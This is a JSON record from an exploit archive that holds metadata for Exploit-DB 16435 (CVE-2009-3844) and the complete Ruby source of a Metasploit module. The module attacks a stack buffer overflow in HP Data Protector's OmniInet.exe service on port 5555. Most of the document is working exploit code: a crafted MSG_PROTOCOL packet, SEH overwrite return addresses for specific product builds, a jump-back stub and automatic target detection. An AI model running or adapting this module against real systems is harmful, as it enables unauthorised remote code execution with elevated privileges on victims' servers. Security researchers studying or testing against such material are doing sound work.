{"exploit":{"id":"EDB-16435","name":"HP - 'OmniInet.exe' MSG_PROTOCOL Buffer Overflow (Metasploit) (1)","description":"HP - 'OmniInet.exe' MSG_PROTOCOL Buffer Overflow (Metasploit) (1)","cves":["CVE-2009-3844"],"author":"Metasploit","published":"2010-09-20","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16435","path":"exploits/windows/remote/16435.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16435.rb","vulnerabilities":[{"id":"CVE-2009-3844","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the OmniInet process in HP OpenView Data Protector Application Recovery Manager 5.50 and 6.0 allows remote attackers to execute arbitrary code or cause a denial of service via a crafted MSG_PROTOCOL packet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3844","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3844"},"updatedAt":"2024-08-07T06:38:30.319Z","retrievedAt":"2026-11-27T07:11:53.957Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16435.png?v=2","url":"https://exploitbin.com/exploits/EDB-16435","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16435/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16435/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: hp_omniinet_2.rb 10394 2010-09-20 08:06:27Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\n\nrequire 'msf/core'\n\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::Tcp\n\tinclude Msf::Exploit::Remote::Seh\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack-based buffer overflow in the Hewlett-Packard\n\t\t\t\tOmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)\n\t\t\t\tpacket, a remote attacker may be able to execute arbitrary code with elevated\n\t\t\t\tprivileges.\n\n\t\t\t\tThis service is installed with HP OpenView Data Protector, HP Application\n\t\t\t\tRecovery Manager and potentially other products. This exploit has been tested\n\t\t\t\tagainst versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1\n\t\t\t\tof Application Recovery Manager.\n\n\t\t\t\tNOTE: There are actually two consecutive wcscpy() calls in the program (which\n\t\t\t\tmay be why ZDI considered them two separate issues). However, this module only\n\t\t\t\texploits the second one.\n\t\t\t},\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'EgiX <n0b0d13s[at]gmail.com>',\n\t\t\t\t\t'Fairuzan Roslan <riaf[at]mysec.org>',\n\t\t\t\t\t'jduck'\n\t\t\t\t],\n\t\t\t'Version'        => '$Revision: 10394 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2009-3844' ],\n\t\t\t\t\t[ 'BID', '37250' ],\n\t\t\t\t\t[ 'OSVDB', '60852' ],\n\t\t\t\t\t[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'seh',\n\t\t\t\t},\n\t\t\t'Payload' =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 4658,\n\t\t\t\t\t'BadChars' => \"\\x00\", # (we don't want \\x00\\x00)\n\t\t\t\t\t'StackAdjustment' => -3500\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Automatic Targeting', { 'auto' => true }  ],\n\n\t\t\t\t\t# DP Targets\n\t\t\t\t\t[ 'HP OpenView Storage Data Protector A.05.50: INET, internal build 330',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0)\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t[ 'HP OpenView Storage Data Protector A.06.00: INET, internal build 331',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0)\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\n\t\t\t\t\t# APPRM Targets\n\t\t\t\t\t[ 'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0)\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t[ 'HP Application Recovery Manager software A.06.10: INET, internal build 282',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0)\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Dec 17 2009'))\n\n\t\tregister_options([Opt::RPORT(5555)], self.class)\n\tend\n\n\tdef check\n\t\tconnect\n\t\tsock.put(rand_text_alpha_upper(64))\n\t\tresp = sock.get_once(-1,5)\n\t\tdisconnect\n\n\t\tif (resp)\n\t\t\tresp = resp.unpack('v*').pack('C*')\n\t\t\tprint_status(\"Received response: \" + resp)\n\n\t\t\t# extract version\n\t\t\tif (resp =~ /HP Data Protector/)\n\t\t\t\tversion = resp.split[3]\n\t\t\telsif (resp =~ /HP OpenView Storage Data Protector/)\n\t\t\t\tversion = resp.split[5]\n\t\t\telsif (resp =~ /HP StorageWorks Application Recovery Manager/)\n\t\t\t\tversion = resp.split[5]\n\t\t\telse\n\t\t\t\treturn Exploit::CheckCode::Detected\n\t\t\tend\n\n\t\t\tversion = version.split('.')\n\t\t\tmajor = version[1].to_i\n\t\t\tminor = version[2].to_i\n\t\t\tif ((major < 6) or (major == 6 and minor < 11))\n\t\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\t\tend\n\n\t\t\tif ((major > 6) or (major == 6 and minor >= 11))\n\t\t\t\treturn Exploit::CheckCode::Safe\n\t\t\tend\n\n\t\tend\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\t\tmytarget = target\n\n\t\tif (target['auto'])\n\t\t\tmytarget = nil\n\n\t\t\tprint_status(\"Automatically detecting the target...\")\n\n\t\t\tconnect\n\t\t\tsock.put(rand_text_alpha_upper(64))\n\t\t\tresp = sock.get_once(-1,5)\n\t\t\tdisconnect\n\n\t\t\tif not resp\n\t\t\t\traise RuntimeError, \"No version response returned.\"\n\t\t\tend\n\n\t\t\tresp = resp.unpack('v*').pack('C*')\n\t\t\tprint_status(\"Received response: \" + resp)\n\n\t\t\tself.targets.each do |t|\n\t\t\t\tif (resp =~ /#{t.name}/) then\n\t\t\t\t\tmytarget = t\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif (not mytarget)\n\t\t\t\traise RuntimeError, \"No matching target\"\n\t\t\tend\n\n\t\t\tprint_status(\"Selected Target: #{mytarget.name}\")\n\t\telse\n\t\t\tprint_status(\"Trying target #{mytarget.name}...\")\n\t\tend\n\n\t\t# separator between arguments\n\t\tsep = [0x2000].pack('N')\n\n\t\t# Unicode BOM\n\t\tpkt = \"\\xff\\xfe\"\n\t\t# MSG_PROTOCOL command\n\t\tpkt << Rex::Text.to_unicode(\"267\")\n\n\t\t# dunno\n\t\t4.times do\n\t\t\tpkt << sep\n\t\t\tpkt << rand_text_alpha_upper(2)\n\t\tend\n\n\t\t# culprit string\n\t\tpkt << sep\n\n\t\t# the payload + seh record\n\t\tpkt << payload.encoded\n\t\tpkt << generate_seh_record(mytarget.ret)\n\n\t\t# jump back\n\t\tdist = payload_space + 8\n\t\tpkt << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $-\" + dist.to_s).encode_string\n\n\t\t# force exception hitting the end of the stack\n\t\tpkt << rand_text_alphanumeric(1000) * 25\n\n\t\t# end marker\n\t\tpkt << sep\n\n\t\t# packet length\n\t\tbuff = [pkt.length].pack('N')\n\t\tbuff << pkt\n\n\t\tconnect\n\t\tprint_status(\"Sending MSG_PROTOCOL packet...\")\n\t\tsock.put(buff)\n\n\t\thandler\n\t\tdisconnect\n\n\tend\n\nend","sha256":"1ec8001f0eb8ba546be2b6e11fb497b338775886d48d5d2a7206347d54ba9ea3","bytes":5264,"fetchedAt":"2026-11-27T07:11:50.312Z","encoding":"utf-8 (display only; download retains original bytes)"}